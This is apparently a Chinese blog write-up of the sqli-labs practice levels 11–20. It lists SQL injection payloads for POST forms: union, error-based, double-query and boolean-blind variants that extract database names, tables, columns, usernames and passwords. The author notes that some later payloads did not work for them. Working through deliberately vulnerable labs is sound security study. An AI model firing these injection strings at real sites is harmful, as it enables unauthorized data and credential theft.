sqli-labs(Less11-20)

Less-11:Single Quotes

POST类型的注入
在用户名处加单引号查看报错

根据报错,构建注入:

使用账号密码登陆成功

然后,打开网络监视器,编辑和重发,在Username处填1,Password处填2,提交,得到POST格式:

修改后发送同样可以登陆成功

在password处修改同理
修改语句获取数据库信息:


然后查询账号密码:

uname=admin&passwd=123' union select group_concat(0x26,username,0x26),group_concat(0x26,password,0x26) from users#

Less-12:Double Quotes-String-with twist

在用户名处加双引号查看报错

然后绕过:

登陆成功,其余步骤与Less-11相同

Less-13:Double Injection-Single Quotes-String-with twist

输入单引号看报错,构建语法绕过并查询:

uname=1&passwd=1') union select user(),database() #&submit=Submit

登陆成功,但没有信息显示。

使用之前的盲注语法,修改一下:

uname=1&passwd=1') union select count(*),concat(user(),0x26,floor(rand(0)*2))x from users group by x#&submit=Submit


查表名:

uname=1&passwd=1') union select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 1,1),0x26,floor(rand(0)*2))x from users group by x#&submit=Submit


查列名:

uname=1&passwd=1') union select count(*),concat((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 1,1),0x26,floor(rand(0)*2))x from users group by x#&submit=Submit


以上式子多次修改 limit 便可查询完整

Less-14:Double Injection-Single Quotes-String-with twist

双引号注入报错,构建语句过滤:

uname=1&passwd=1" or 1=1 #&submit=Submit

登陆成功,只需改动双引号闭合,其余语法与Less-13相似

Less-15:Blind-boolian/time Based-Single Quotes

猜测性的试探注入,发现是单引号注入

uname=123&passwd=123' or 1=1#&submit=Submit

使用该语句注入登陆成功
然后构建语句,只有’(单引号)后面接上的语句为真即显示,所有可以构建判断语句来得出数据(参考Less-8),如:

uname=123&passwd=123' or substr((select database()),1,1)='s' #  &submit=Submit

Less-16:Blind-boolian/time Based-Double Quotes

为双引号注入,修改Less-15的语句,把单引号改为双引号即可

Less-17:Update Query-Error Based-String

注入方法很多,基本测试后知道为单引号注入
构建语句查基本信息(句末username与开头对应):

uname=admin&passwd=' or (select 1 from(select count(*),concat((select concat(0x7e,0x27,database(),0x27,0x7e)),floor(rand(0)*2))x from information_schema.tables group by x)a) where username='admin' %23


接着爆表名:

uname=admin&passwd=' or (select 1 from(select count(*),concat((select concat(0x27,table_name) from information_schema.tables where table_schema='security' limit 1,1),0x26,floor(rand()*2))x from information_schema.tables group by x)a) where username='admin' %23


爆列名:

uname=admin&passwd=' or (select 1 from(select count(*),concat((select concat(0x27,column_name) from information_schema.columns where table_schema='security' and table_name='referers' limit 1,1),0x26,floor(rand()*2))x from information_schema.columns group by x)a) where username='admin' %23


然后特别奇怪的是,这注入总会出现报错,我已经用了 limit 了,但还会对返回行数过多进行报错。但中间测试时又有几次成功注入

Less-(18,19,20)

百度教程说是用burpsuite抓包修改浏览器请求头,顺便插入注入语句。然而我根据百度的方法试了一下,页面无反应。另外试了一下 live http headers 这个火狐浏览器插件,也没有成功。现在是知道了注入的位置,但语法方面不知道是不是通用的语法,我自己对于这些注入类型之前没了解过,现在没实操出来,先贴上语法:

' or updatexml(1,concat(0x2b5e,database()),0) or '
‘and extractvalue(1,concat(0x7e,(database())) and ‘1‘=‘1
' or updatexml(1,concat(0x2b5e,(select concat_ws(0x2b5e,id,username,password) from users limit 0,1)),0) or '

我特意查了 updatexml 的用法:
学习笔记 UpdateXml() MYSQL显错注入
豁然开朗,不过在这例子中我没注入成功,原因未知

发表评论

电子邮件地址不会被公开。 必填项已用*标注